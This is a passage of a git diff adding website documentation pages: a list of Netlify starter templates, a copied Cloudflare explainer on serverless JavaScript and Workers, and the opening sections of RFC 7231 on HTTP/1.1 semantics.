+-   ### [Awake, A Nuxt Blog Template](https://templates.netlify.com/template/awake-blog-template-nuxt/)
+
+    Awake is a Nuxt.js template for generating a beautifully robust static site with blog. It comes with support for site search, newsletter sign-up via mailchimp, comments via disqus and more. It's built with performance in mind (auto image resizing, lazy loading, and more).
+
+-   ### [BigCommerce Gatsby Starter w/ Netlify CMS](https://templates.netlify.com/template/bigcommerce-gatsby-netlify-cms-starter/)
+
+    Example Gatsby, BigCommerce and Netlify CMS project meant to jump start Jamstack ecommerce sites.
+
+    Through the use of Netlify Functions, supports a built-in cart and checkout flow (with 50+ payment gateways / methods, advanced tax and shipping providers, etc) that uses the BigCommerce APIs to provide a complete end-to-end shopper experience, without the need for a complex backend or middleware.
+
+    _Note: Requires a BigCommerce store, which you can get a free trial of via bigcommerce.com, which includes API access, if you don't already have an account. There is also an optional partner program which includes a sandbox account to play around in._
+
+-   ### [Commerce.js - Fully-fledged eCommerce store built with Next.js](https://templates.netlify.com/template/commercejs-nextjs-demo-store/)
+
+    A fully-fledged and customizable Jamstack eCommerce storefront built using Next.js as a frontend, Chec and Commerce.js as the eCommerce backend with production-ready deployment to Netlify.
+
+    Being an API-first eCommerce platform, Chec/Commerce.js helps businesses to freely decouple and tool their websites. This template comes built with marketing pages, a product listing page, single product display pages, cart and checkout functionalities, and an order confirmation page.
+
+    _Note: You will need to sign up for a Chec account at commercejs.com which includes the API access. Please follow the guide in the github repo to configure your inital setup._
+
+-   ### [Commerce Layer Starter](https://templates.netlify.com/template/commercelayer-sanity-starter/)
+
+    A multi-country ecommerce starter that features the sanity studio built with [Commerce Layer](https://commercelayer.io/), Next.js, and deployed to Netlify. The starter comes with an ecommerce storefront built with Nextjs, Commerce Layer react components library, and Tailwind CSS alongside international shopping capabilities powered by Commerce Layer APIs. You also get a micro CLI seeder to import Commerce Layer data, structured content on Sanity CMS, localization support, and deployment configuration to Netlify.
+
+-   ### [Delog - GatsbyJS + Netlify CMS](https://templates.netlify.com/template/delog-gatsby-netlifycms/)
+
+    Delog is developed for professional bloggers and web designers to build a website that has a lightning-fast navigation speed. Simply follow the steps given in the ‘Read Me’ document and your website all set with CMS and Contact form. With bacsic knowledge of CSS/SCSS you can also change the color scheme to match your style
+
+-   ### [Eleventy base blog template](https://templates.netlify.com/template/eleventy-base-blog/)
+
+    This project template includes a simple blog structure using [Eleventy](https://11ty.io/), It demonstrates how to collect pages into blog posts and provide a tagging structure.
+
+-   ### [empress-blog - Casper](https://templates.netlify.com/template/empress-blog-casper-template/)
+
+    A fully-functional, static site implementation of a blog system that is mostly compatible with Ghost and Ghost Templates.
+
+    Built on EmberJS with fully working out of the box SEO friendly output and all content is authored using Markdown
+
+-   ### [Foundation - Gatsby and NetlifyCMS Starter](https://templates.netlify.com/template/foundation-gatsby-netlifycms-starter/)
+
+    A starter to launch your blazing fast personal website and a blog, Built with Gatsby and Netlify CMS. Made with ❤ by Stackrole
+
+## Features
+
+    -   A Blog and Personal website with Netlify CMS.
+    -   Responsive Web Design
+    -   Customize content of Homepage, About and Contact page.
+    -   Add / Modify / Delete blog posts.
+    -   Edit website settings, Add Google Analytics and make it your own all with in the CMS.
+    -   SEO Optimized
+    -   OpenGraph structured data
+    -   Twitter Cards meta
+    -   Beautiful XML Sitemaps
+    -   Netlify Contact Form, Works right out of the box after deployment.
+    -   Invite collaborators into Netlify CMS, without giving access to your Github account via Git Gateway
+    -   For instructions, take a look at readme.md at Github repo.
+    -   Gatsby Incremental Builds with Netlify.
+
+-   ### [Gatsby + Netlify CMS Starter](https://templates.netlify.com/template/gatsby-blog-with-netlify-cms/)
+
+    A starter project for using Gatsby to build a blog site backed with [Netlify CMS](https://www.netlifycms.org/) for content authoring.
+
+    This example is the Kaldi coffee company template (adapted from One Click Hugo CMS).
+
+-   ### [Gatsby developer blog](https://templates.netlify.com/template/gatsby-dev-blog-fitzgerald/)
+
+    A fully customizable blog template designed for developers (or anyone else) wanting to get into blogging. Easy to edit, customize and extended. The blog is completely statically generated via GatsbyJS, comes with syntax highlighting (via PrismJS) out of the box, and has server-side rendering built-in, among other things.
+
+-   ### [Gatsby starter blog](https://templates.netlify.com/template/gatsby-starter-blog/)
+
+    A static site generator which uses [React](https://reactjs.com/) and provides both pre-rendering and client-side hydration. Some interesting bonuses included such as easy service worker support and GraphQL built in for providing templates with their data.
+
+-   ### [Gatsby Contentful Starter blog](https://templates.netlify.com/template/gatsby-starter-contentful/)
+
+    Static sites are scalable, secure and have very little required maintenance. They come with a drawback though. Not everybody feels good editing files, building a project and uploading it somewhere. With Contentful and Gatsby you can connect your favorite static site generator with an API that provides an easy to use interface for people writing content and automate the publishing using services like Travis CI or Netlify.
+
+-   ### [Gatsby default starter site](https://templates.netlify.com/template/gatsby-starter-dafault/)
+
+    A static site generator which uses [React](https://reactjs.com/) and provides both pre-rendering and client-side hydration. Some interesting bonuses included such as easy service worker support and GraphQL built in for providing templates with their data.
+
+-   ### [Gatsby Starter eCommerce](https://templates.netlify.com/template/gatsby-starter-ecommerce/)
+
+    A GatsbyJS starter focused on creating an eCommerce site using Moltin eCommerce Api and stripe payment gateway.
+
+-   ### [Gatsby Starter Minimal Blog](https://templates.netlify.com/template/gatsby-starter-minimal-blog/)
+
+    A GatsbyJS starter focused on typography & minimalistic style. Write your blogposts in markdown and easily customize the look of the site. The blog has features like categories, PrismJS highlighting and previous/next notes. Because of the offline support, WebApp Manifest and extensive SEO the blog is a fully fledged PWA.
+
+-   ### [Hugo Novela with Forestry](https://templates.netlify.com/template/hugo-novela-forestry/)
+
+    With minimal styling and maximum features — including multiple homepage layouts, built-in social sharing and dark mode — Novela makes it easy to start publishing beautiful articles and stories with [Hugo](https://gohugo.io/) and [Forestry](https://forestry.io/).
+
+    Novela is built by the team at [Narative](https://www.narative.co/), and built for everyone that loves the web.
+
+-   ### [Hugo starter blog theme - Casper](https://templates.netlify.com/template/hugo-starter-blog-theme-casper/)
+
+    A Hugo boilerplate for creating a blog site backed with [NetlifyCMS](https://www.netlifycms.org/) for content authoring.
+
+    This site template has an asset pipeline using Gulp and Webpack for processing JavaScript with Babel, and CSS with PostCSS.
+
+-   ### [Indiego Hugo starter kit](https://templates.netlify.com/template/indiego/)
+
+    A socially aware Hugo blog starter kit, with Modular CSS Gulp workflow, for frontend developers.
+
+    Publish your RSS feeds to your social networks, all blog and status posts marked up with microformats to display post previews.
+
+-   ### [Jamdocs - a starter for documentations in Gridsome](https://templates.netlify.com/template/jamdocs/)
+
+    The ultimate static generated documentation theme for the Jamstack. Highly customizable, based on Gridsome, ready to deploy to Netlify in one click. Jamdocs is optimized to be as fast as possible, right now generating 100/100/100/100 score in Google Lighthouse. And 100/100 score in Google Page Speed Insights.
+
+-   ### [Jamify Starter for publishing Blogs with Gatsby & Ghost](https://templates.netlify.com/template/jamify-starter-ghost/)
+
+    Publish flaring fast blogs with [Gatsby](https://gatsbyjs.org/) and [Ghost](https://ghost.org/).
+
+    This starter template is for professional publishers who are looking for a fully functional front-end with infinite-scroll, flexible routing, multi-language support and a rich plugin eco-system. It's built with performance in mind (auto image resizing, lazy loading with gatsby-image, and more) and comes with support for newsletter sign-up, easy comments integration and more. This starter features support for incremental builds thereby delivering the fastest build times ever seen.
+
+-   ### [Jekyll & Alembic theme starter](https://templates.netlify.com/template/jekyll-and-alembic-theme-starter/)
+
+    [Alembic](https://alembic.darn.es/) is a starting point for Jekyll projects, giving all sorts of bells and whistles but with reduced complexity. This is a starter kit for you to deploy a Jekyll site immediately to Netlify.
+
+-   ### [Jekyll + Netlify CMS Boilerplate](https://templates.netlify.com/template/jekyll-with-netlify-cms-boilerplate/)
+
+    A simple Jekyll boilerplate for creating a fast, static website on Netlify with a continuous deployment workflow and [Netlify CMS](https://www.netlifycms.org/) for content editing.
+
+    This template provides sample pages, blog posts and a working contact form powered by [Netlify Forms](https://www.netlify.com/docs/form-handling).
+
+-   ### [Next.js starter app with NextAuth.js and a PlanetScale serverless database](https://templates.netlify.com/template/nextjs-planetscale-starter/)
+
+    This starter app combines the powers of [PlanetScale](https://planetscale.com/)’s serverless databases with Prisma’s next-gen ORM and NextAuth.js for authentication to create a Next.js starter app that can scale with you. In this starter app, any users that sign up or log in are automatically stored in your PlanetScale database. There is also a built-in admin page, where you can see your users table without having to write database queries.
+
+    _Note: After you deploy to Netlify, you will need to follow the instructions in the [documentation](https://github.com/planetscale/nextjs-planetscale-starter) to get your PlanetScale database up and running._
+
+-   ### [Nextjs Starter for Blog](https://templates.netlify.com/template/nextjs-starter-blog/)
+
+## Nextjs Starter for Blog
+
+    🚀 Nextjs Starter is boilerplate code for your blog based on Next.js framework. ⚡️ Made with Next.js, TypeScript, ESLint, Prettier, PostCSS, Tailwind CSS.
+
+    You can find a [Nextjs Starter demo](https://creativedesignsguru.com/demo/Nextjs-Blog-Boilerplate/).
+
+    You can also check our [Nextjs Themes](https://creativedesignsguru.com/category/nextjs/) or if you want to see all our [React Themes](https://creativedesignsguru.com/category/react/). You can see all our other [premium themes](https://creativedesignsguru.com/) using other static static generator like Eleventyjs.
+
+### Features
+
+    Blog feature:
+
+    -   🎈 Syntax Highlighting with Prism.js
+    -   🤖 SEO metadata and Open Graph tags
+    -   ⚙️ JSON-LD for richer indexing
+    -   📖 Pagination
+    -   🌈 Include a FREE minimalist blog theme
+    -   ⬇️ Markdown
+    -   💯 Maximize lighthouse score
+
+    Developer experience first:
+
+    -   🔥 Next.js for Static Site Generator
+    -   🎨 Integrate with Tailwind CSS
+    -   💅 PostCSS for processing Tailwind CSS
+    -   🎉 Type checking TypeScript
+    -   ✏️ Linter with ESLint
+    -   🛠 Code Formatter with Prettier
+    -   🦊 SEO metadata, JSON-LD and Open Graph tags with Next SEO
+
+    Built-in feature from Next.js:
+
+    -   ☕ Minify HTML & CSS
+    -   💨 Live reload
+    -   ✅ Cache busting
+
+### Philosophy
+
+    -   Minimal code
+    -   SEO-friendly
+    -   🚀 Production-ready
+
+-   ### [Bael Blog Template with Netlify CMS and Serverless Function](https://templates.netlify.com/template/nuxt-bael-blog-template/)
+
+    Bael is a free template that gives you an easy way to start a blog that uses modern technologies like static-site Jamstack architecture, CSS grid layout, responsive design, a serverless function that handles emails newsletter signup with Sendgrid, and fuzzy search — all wrapped up in a brutalist aesthetic.
+
+    Bael runs using [Nuxt.js](https://nuxtjs.org/), [Vue.js](https://vuejs.org/), [Netlify CMS](https://netlifycms.org/), and is hosted by [Netlify](https://netlify.com/).
+
+    A free Sendgrid account and API key is needed to setup the newsletter signup feature.
+
+    Made by [jake101](https://jake101.com/)
+
+-   ### [Nuxt & Netlify CMS Boilerplate](https://templates.netlify.com/template/nuxt-starter-netlify-cms/)
+
+    A super unopinionated starter project, built off the `create-nuxt-app` CLI tool, and leveraging Netlify CMS to generate content in the Nuxt API from flat files.
+
+-   ### [Platframe default starter](https://templates.netlify.com/template/platframe-default-starter/)
+
+    [Platframe's](https://platframe.com/) default (responsive) starter template takes the form of a landing page that can be personalized in a jiffy, or be extensively adapted to suit variable project scopes.
+
+    Multipage sites are well-supported with a growth-proof, scalable architecture. The template allows for granular control, and is powered by an extensible, feature-rich build-system.
diff --git a/src/pages/docs/netlify-cms-jamstack/serverlessjs/index.md b/src/pages/docs/netlify-cms-jamstack/serverlessjs/index.md
new file mode 100644
index 0000000000..965d4c818b
--- /dev/null
+++ b/src/pages/docs/netlify-cms-jamstack/serverlessjs/index.md
@@ -0,0 +1,73 @@
+---
+title: ServerlessJS
+template: docs
+excerpt: How does serverless JavaScript work
+---
+
+# How does serverless JavaScript work? | Service workers and Cloudflare Workers | Cloudflare
+
+> ## Excerpt
+>
+> Serverless JavaScript is used to build serverless architecture at the network edge. Learn what serverless JavaScript is and how it works.
+
+---
+
+## What is serverless JavaScript?
+
+Serverless JavaScript is JavaScript code that comprises all or part of an application, is only run when requested, and is not hosted on proprietary servers. It enables developers to build high-performance, low-latency serverless applications (such as [JAMstack applications](https://www.cloudflare.com/learning/performance/what-is-jamstack/)) that run on a network and avoid many issues associated with other serverless applications, such as cold starts.
+
+[Serverless](https://www.cloudflare.com/learning/serverless/what-is-serverless/) JavaScript is hosted in an edge network or by an HTTP caching service, which stores content to respond quickly to HTTP requests. Developers can write and deploy JavaScript functions that process HTTP requests before they travel all the way to the [origin server](https://www.cloudflare.com/learning/cdn/glossary/origin-server/).
+
+![Serverless JavaScript on Edge Server](https://www.cloudflare.com/img/learning/serverless/serverless-javascript/serverless-javascript-running-on-edge-server.svg "Serverless JavaScript on Edge Server")
+
+Using serverless JavaScript, it is possible to expand the functionality and improve the user experience of existing applications by running code at the edge, or to create a new, fully serverless application that is fast and highly scalable. [Cloudflare Workers](https://www.cloudflare.com/products/cloudflare-workers/) is a serverless JavaScript platform.
+
+## What is Varnish?
+
+Varnish is a web accelerator designed to speed up web applications and improve website performance. It is a caching HTTP [reverse proxy](https://www.cloudflare.com/learning/cdn/glossary/reverse-proxy/), meaning it sits in front of any web server and accelerates HTTP traffic to and from that server by caching, or storing, any content that is frequently requested by web clients. Varnish Configuration Language, or VCL, is used in conjunction with Varnish to allow developers to customize how Varnish manages web requests.
+
+## What is the advantage of using JavaScript instead of VCL in a serverless architecture?
+
+VCL is a configuration language designed to make the Varnish cache easy to configure; it’s not a full-fledged programming language. VCL is not flexible enough for building or expanding robust applications. It is limited in what it can do compared to JavaScript. In addition, VCL is not used outside of Varnish implementations, and as a result most developers are not familiar with it. In contrast, JavaScript is ubiquitous and already widely used for building applications. Using JavaScript in a serverless architecture allows developers to build full applications in a language they are familiar with.
+
+Serverless JavaScript allows a wider group of developers to leverage serverless computing on the edge, and allows those developers to build a greater variety of applications.
+
+## How does building an application with serverless JavaScript help reduce latency?
+
+Serverless JavaScript runs in an HTTP caching network, which is closer to the end user than code hosted on an origin server. As a result, requests don't have to travel all the way to the origin server and back, and the application responds much more quickly to user interactions. The more geographically distributed edge locations that a caching network has, the more latency will be reduced.
+
+## When does serverless JavaScript run?
+
+In a serverless model, applications are broken up into functions, and function code runs in response to certain events. It does not run otherwise. The event that triggers serverless JavaScript to execute is an HTTP request. Developers can customize the kind of HTTP requests that their JavaScript functions respond to, and how the HTTP request will be altered or fulfilled.
+
+## What is an HTTP request?
+
+This is a request sent via [HTTP (hypertext transfer protocol)](https://www.cloudflare.com/learning/ddos/glossary/hypertext-transfer-protocol-http/) from a client to a server. Browsers translate user actions, such as clicking on a hyperlink or submitting a form, into HTTP requests. The request is then sent on to the server, and the server sends an HTTP response to fulfill the request. An HTTP request also occurs when an application makes an API call.
+
+## What is HTTP caching?
+
+HTTP caching is when a server or a browser saves a copy of a response to a user's HTTP request in order to produce quicker replies to future requests. A [CDN](https://www.cloudflare.com/learning/cdn/what-is-a-cdn/) server is an example of an HTTP cache. Some HTTP caching services enable developers to customize how HTTP caching works for their applications.
+
+Cloudflare is an HTTP caching edge network with data centers all over the world, and it allows developers to write and deploy their own JavaScript at the network edge. In the Cloudflare network, HTTP caching does not take place in any specific server, but rather within whatever data center is closest to the source of the HTTP request.
+
+## What are service workers?
+
+Service workers are scripts that browsers download and run in order to create customized experiences for users. Service workers make features like push notifications, background syncing, and offline functionality possible in the browser. Written in JavaScript, they intercept, modify, and respond to HTTP requests before the requests reach the Internet.
+
+## Two ways service workers can handle HTTP traffic:
+
+![Service Worker Responds](https://www.cloudflare.com/img/learning/serverless/serverless-javascript/service-worker-responds-http-request.svg "Service Worker Responds")
+
+Service workers can respond to HTTP requests without contacting the web server
+
+![Service Worker Modifies Request](https://www.cloudflare.com/img/learning/serverless/serverless-javascript/service-worker-modifies-http-request-response.svg "Service Worker Modifies Request")
+
+Service workers can modify HTTP requests and responses
+
+## What are Cloudflare Workers?
+
+Cloudflare Workers are a platform for enabling serverless functions to run as close as possible to the end user. In essence, the serverless code itself is 'cached' on the network, and runs when it receives the right type of request. Cloudflare Workers are written in JavaScript against the service workers API, meaning they can use all the functionality offered by service workers. They leverage the Chrome V8 engine for execution. Cloudflare Workers code is hosted in Cloudflare's vast network of data centers around the world.
+
+## What is Chrome V8?
+
+[Chrome V8](https://www.cloudflare.com/learning/serverless/glossary/what-is-chrome-v8/), also known as just 'V8,' is a JavaScript engine Google developed for compiling, optimizing, and executing JavaScript. By using V8 for JavaScript code execution, startup time for JavaScript workers is greatly reduced, eliminating the issue of 'cold starts' in most cases. V8 is also heavily analyzed for security vulnerabilities, making it ideal for running JavaScript code securely.
diff --git a/src/pages/docs/overflow/https/index.md b/src/pages/docs/overflow/https/index.md
new file mode 100644
index 0000000000..2a6bbf70ea
--- /dev/null
+++ b/src/pages/docs/overflow/https/index.md
@@ -0,0 +1,5476 @@
+---
+title: HTTPS
+template: docs
+excerpt: The Hypertext Transfer Protocol
+---
+```
+ Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+
+Abstract
+
+   The Hypertext Transfer Protocol (HTTP) is a stateless application-
+   level protocol for distributed, collaborative, hypertext information
+   systems.  This document defines the semantics of HTTP/1.1 messages,
+   as expressed by request methods, request header fields, response
+   status codes, and response header fields, along with the payload of
+   messages (metadata and body content) and mechanisms for content
+   negotiation.
+
+Status of This Memo
+
+   This is an Internet Standards Track document.
+
+   This document is a product of the Internet Engineering Task Force
+   (IETF).  It represents the consensus of the IETF community.  It has
+   received public review and has been approved for publication by the
+   Internet Engineering Steering Group (IESG).  Further information on
+   Internet Standards is available in Section 2 of RFC 5741.
+
+   Information about the current status of this document, any errata,
+   and how to provide feedback on it may be obtained at
+   http://www.rfc-editor.org/info/rfc7231.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                    [Page 1]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+Copyright Notice
+
+   Copyright (c) 2014 IETF Trust and the persons identified as the
+   document authors.  All rights reserved.
+
+   This document is subject to BCP 78 and the IETF Trust's Legal
+   Provisions Relating to IETF Documents
+   (http://trustee.ietf.org/license-info) in effect on the date of
+   publication of this document.  Please review these documents
+   carefully, as they describe your rights and restrictions with respect
+   to this document.  Code Components extracted from this document must
+   include Simplified BSD License text as described in Section 4.e of
+   the Trust Legal Provisions and are provided without warranty as
+   described in the Simplified BSD License.
+
+   This document may contain material from IETF Documents or IETF
+   Contributions published or made publicly available before November
+   10, 2008.  The person(s) controlling the copyright in some of this
+   material may not have granted the IETF Trust the right to allow
+   modifications of such material outside the IETF Standards Process.
+   Without obtaining an adequate license from the person(s) controlling
+   the copyright in such materials, this document may not be modified
+   outside the IETF Standards Process, and derivative works of it may
+   not be created outside the IETF Standards Process, except to format
+   it for publication as an RFC or to translate it into languages other
+   than English.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                    [Page 2]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+Table of Contents
+
+   1. Introduction ....................................................6
+      1.1. Conformance and Error Handling .............................6
+      1.2. Syntax Notation ............................................6
+   2. Resources .......................................................7
+   3. Representations .................................................7
+      3.1. Representation Metadata ....................................8
+           3.1.1. Processing Representation Data ......................8
+           3.1.2. Encoding for Compression or Integrity ..............11
+           3.1.3. Audience Language ..................................13
+           3.1.4. Identification .....................................14
+      3.2. Representation Data .......................................17
+      3.3. Payload Semantics .........................................17
+      3.4. Content Negotiation .......................................18
+           3.4.1. Proactive Negotiation ..............................19
+           3.4.2. Reactive Negotiation ...............................20
+   4. Request Methods ................................................21
+      4.1. Overview ..................................................21
+      4.2. Common Method Properties ..................................22
+           4.2.1. Safe Methods .......................................22
+           4.2.2. Idempotent Methods .................................23
+           4.2.3. Cacheable Methods ..................................24
+      4.3. Method Definitions ........................................24
+           4.3.1. GET ................................................24
+           4.3.2. HEAD ...............................................25
+           4.3.3. POST ...............................................25
+           4.3.4. PUT ................................................26
+           4.3.5. DELETE .............................................29
+           4.3.6. CONNECT ............................................30
+           4.3.7. OPTIONS ............................................31
+           4.3.8. TRACE ..............................................32
+   5. Request Header Fields ..........................................33
+      5.1. Controls ..................................................33
+           5.1.1. Expect .............................................34
+           5.1.2. Max-Forwards .......................................36
+      5.2. Conditionals ..............................................36
+      5.3. Content Negotiation .......................................37
+           5.3.1. Quality Values .....................................37
+           5.3.2. Accept .............................................38
+           5.3.3. Accept-Charset .....................................40
+           5.3.4. Accept-Encoding ....................................41
+           5.3.5. Accept-Language ....................................42
+      5.4. Authentication Credentials ................................44
+      5.5. Request Context ...........................................44
+           5.5.1. From ...............................................44
+           5.5.2. Referer ............................................45
+           5.5.3. User-Agent .........................................46
+
+
+
+Fielding & Reschke           Standards Track                    [Page 3]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   6. Response Status Codes ..........................................47
+      6.1. Overview of Status Codes ..................................48
+      6.2. Informational 1xx .........................................50
+           6.2.1. 100 Continue .......................................50
+           6.2.2. 101 Switching Protocols ............................50
+      6.3. Successful 2xx ............................................51
+           6.3.1. 200 OK .............................................51
+           6.3.2. 201 Created ........................................52
+           6.3.3. 202 Accepted .......................................52
+           6.3.4. 203 Non-Authoritative Information ..................52
+           6.3.5. 204 No Content .....................................53
+           6.3.6. 205 Reset Content ..................................53
+      6.4. Redirection 3xx ...........................................54
+           6.4.1. 300 Multiple Choices ...............................55
+           6.4.2. 301 Moved Permanently ..............................56
+           6.4.3. 302 Found ..........................................56
+           6.4.4. 303 See Other ......................................57
+           6.4.5. 305 Use Proxy ......................................58
+           6.4.6. 306 (Unused) .......................................58
+           6.4.7. 307 Temporary Redirect .............................58
+      6.5. Client Error 4xx ..........................................58
+           6.5.1. 400 Bad Request ....................................58
+           6.5.2. 402 Payment Required ...............................59
+           6.5.3. 403 Forbidden ......................................59
+           6.5.4. 404 Not Found ......................................59
+           6.5.5. 405 Method Not Allowed .............................59
+           6.5.6. 406 Not Acceptable .................................60
+           6.5.7. 408 Request Timeout ................................60
+           6.5.8. 409 Conflict .......................................60
+           6.5.9. 410 Gone ...........................................60
+           6.5.10. 411 Length Required ...............................61
+           6.5.11. 413 Payload Too Large .............................61
+           6.5.12. 414 URI Too Long ..................................61
+           6.5.13. 415 Unsupported Media Type ........................62
+           6.5.14. 417 Expectation Failed ............................62
+           6.5.15. 426 Upgrade Required ..............................62
+      6.6. Server Error 5xx ..........................................62
+           6.6.1. 500 Internal Server Error ..........................63
+           6.6.2. 501 Not Implemented ................................63
+           6.6.3. 502 Bad Gateway ....................................63
+           6.6.4. 503 Service Unavailable ............................63
+           6.6.5. 504 Gateway Timeout ................................63
+           6.6.6. 505 HTTP Version Not Supported .....................64
+   7. Response Header Fields .........................................64
+      7.1. Control Data ..............................................64
+ed            7.1.1. Origination Date ...................................65
+           7.1.2. Location ...........................................68
+           7.1.3. Retry-After ........................................69
+
+
+
+Fielding & Reschke           Standards Track                    [Page 4]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+           7.1.4. Vary ...............................................70
+      7.2. Validator Header Fields ...................................71
+      7.3. Authentication Challenges .................................72
+      7.4. Response Context ..........................................72
+           7.4.1. Allow ..............................................72
+           7.4.2. Server .............................................73
+   8. IANA Considerations ............................................73
+      8.1. Method Registry ...........................................73
+           8.1.1. Procedure ..........................................74
+           8.1.2. Considerations for New Methods .....................74
+           8.1.3. Registrations ......................................75
+      8.2. Status Code Registry ......................................75
+           8.2.1. Procedure ..........................................75
+           8.2.2. Considerations for New Status Codes ................76
+           8.2.3. Registrations ......................................76
+      8.3. Header Field Registry .....................................77
+           8.3.1. Considerations for New Header Fields ...............78
+           8.3.2. Registrations ......................................80
+      8.4. Content Coding Registry ...................................81
+           8.4.1. Procedure ..........................................81
+           8.4.2. Registrations ......................................81
+   9. Security Considerations ........................................81
+      9.1. Attacks Based on File and Path Names ......................82
+      9.2. Attacks Based on Command, Code, or Query Injection ........82
+      9.3. Disclosure of Personal Information ........................83
+      9.4. Disclosure of Sensitive Information in URIs ...............83
+      9.5. Disclosure of Fragment after Redirects ....................84
+      9.6. Disclosure of Product Information .........................84
+      9.7. Browser Fingerprinting ....................................84
+   10. Acknowledgments ...............................................85
+   11. References ....................................................85
+      11.1. Normative References .....................................85
+      11.2. Informative References ...................................86
+   Appendix A. Differences between HTTP and MIME .....................89
+      A.1. MIME-Version ..............................................89
+      A.2. Conversion to Canonical Form ..............................89
+      A.3. Conversion of Date Formats ................................90
+      A.4. Conversion of Content-Encoding ............................90
+      A.5. Conversion of Content-Transfer-Encoding ...................90
+      A.6. MHTML and Line Length Limitations .........................90
+   Appendix B. Changes from RFC 2616 .................................91
+   Appendix C. Imported ABNF .........................................93
+   Appendix D. Collected ABNF ........................................94
+   Index .............................................................97
+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                    [Page 5]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+1.  Introduction
+
+   Each Hypertext Transfer Protocol (HTTP) message is either a request
+   or a response.  A server listens on a connection for a request,
+   parses each message received, interprets the message semantics in
+   relation to the identified request target, and responds to that
+   request with one or more response messages.  A client constructs
+   request messages to communicate specific intentions, examines
+   received responses to see if the intentions were carried out, and
+   determines how to interpret the results.  This document defines
+   HTTP/1.1 request and response semantics in terms of the architecture
+   defined in [RFC7230].
+
+   HTTP provides a uniform interface for interacting with a resource
+   (Section 2), regardless of its type, nature, or implementation, via
+   the manipulation and transfer of representations (Section 3).
+
+   HTTP semantics include the intentions defined by each request method
+   (Section 4), extensions to those semantics that might be described in
+   request header fields (Section 5), the meaning of status codes to
+   indicate a machine-readable response (Section 6), and the meaning of
+   other control data and resource metadata that might be given in
+   response header fields (Section 7).
+
+   This document also defines representation metadata that describe how
+   a payload is intended to be interpreted by a recipient, the request
+   header fields that might influence content selection, and the various
+   selection algorithms that are collectively referred to as "content
+   negotiation" (Section 3.4).
+
+1.1.  Conformance and Error Handling
+
+   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
+   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
+   document are to be interpreted as described in [RFC2119].
+
+   Conformance criteria and considerations regarding error handling are
+   defined in Section 2.5 of [RFC7230].
+
+1.2.  Syntax Notation
+
+   This specification uses the Augmented Backus-Naur Form (ABNF)
+   notation of [RFC5234] with a list extension, defined in Section 7 of
+   [RFC7230], that allows for compact definition of comma-separated
+   lists using a '#' operator (similar to how the '*' operator indicates
+   repetition).  Appendix C describes rules imported from other
+   documents.  Appendix D shows the collected grammar with all list
+   operators expanded to standard ABNF notation.
+
+
+
+Fielding & Reschke           Standards Track                    [Page 6]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   This specification uses the terms "character", "character encoding
+   scheme", "charset", and "protocol element" as they are defined in
+   [RFC6365].
+
+2.  Resources
+
+   The target of an HTTP request is called a "resource".  HTTP does not
+   limit the nature of a resource; it merely defines an interface that
+   might be used to interact with resources.  Each resource is
+   identified by a Uniform Resource Identifier (URI), as described in
+   Section 2.7 of [RFC7230].
+
+   When a client constructs an HTTP/1.1 request message, it sends the
+   target URI in one of various forms, as defined in (Section 5.3 of
+   [RFC7230]).  When a request is received, the server reconstructs an
+   effective request URI for the target resource (Section 5.5 of
+   [RFC7230]).
+
+   One design goal of HTTP is to separate resource identification from
+   request semantics, which is made possible by vesting the request
+   semantics in the request method (Section 4) and a few
+   request-modifying header fields (Section 5).  If there is a conflict
+   between the method semantics and any semantic implied by the URI
+   itself, as described in Section 4.2.1, the method semantics take
+   precedence.
+
+3.  Representations
+
+   Considering that a resource could be anything, and that the uniform
+   interface provided by HTTP is similar to a window through which one
+   can observe and act upon such a thing only through the communication
+   of messages to some independent actor on the other side, an
+   abstraction is needed to represent ("take the place of") the current
+   or desired state of that thing in our communications.  That
+   abstraction is called a representation [REST].
+
+   For the purposes of HTTP, a "representation" is information that is
+   intended to reflect a past, current, or desired state of a given
+   resource, in a format that can be readily communicated via the
+   protocol, and that consists of a set of representation metadata and a
+   potentially unbounded stream of representation data.
+
+   An origin server might be provided with, or be capable of generating,
+   multiple representations that are each intended to reflect the
+   current state of a target resource.  In such cases, some algorithm is
+   used by the origin server to select one of those representations as
+   most applicable to a given request, usually based on content
+   negotiation.  This "selected representation" is used to provide the
+
+
+
+Fielding & Reschke           Standards Track                    [Page 7]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   data and metadata for evaluating conditional requests [RFC7232] and
+   constructing the payload for 200 (OK) and 304 (Not Modified)
+   responses to GET (Section 4.3.1).
+
+3.1.  Representation Metadata
+
+   Representation header fields provide metadata about the
+   representation.  When a message includes a payload body, the
+   representation header fields describe how to interpret the
+   representation data enclosed in the payload body.  In a response to a
+   HEAD request, the representation header fields describe the
+   representation data that would have been enclosed in the payload body
+   if the same request had been a GET.
+
+   The following header fields convey representation metadata:
+
+   +-------------------+-----------------+
+   | Header Field Name | Defined in...   |
+   +-------------------+-----------------+
+   | Content-Type      | Section 3.1.1.5 |
+   | Content-Encoding  | Section 3.1.2.2 |
+   | Content-Language  | Section 3.1.3.2 |
+   | Content-Location  | Section 3.1.4.2 |
+   +-------------------+-----------------+
+
+3.1.1.  Processing Representation Data
+
+3.1.1.1.  Media Type
+
+   HTTP uses Internet media types [RFC2046] in the Content-Type
+   (Section 3.1.1.5) and Accept (Section 5.3.2) header fields in order
+   to provide open and extensible data typing and type negotiation.
+   Media types define both a data format and various processing models:
+   how to process that data in accordance with each context in which it
+   is received.
+
+     media-type = type "/" subtype *( OWS ";" OWS parameter )
+     type       = token
+     subtype    = token
+
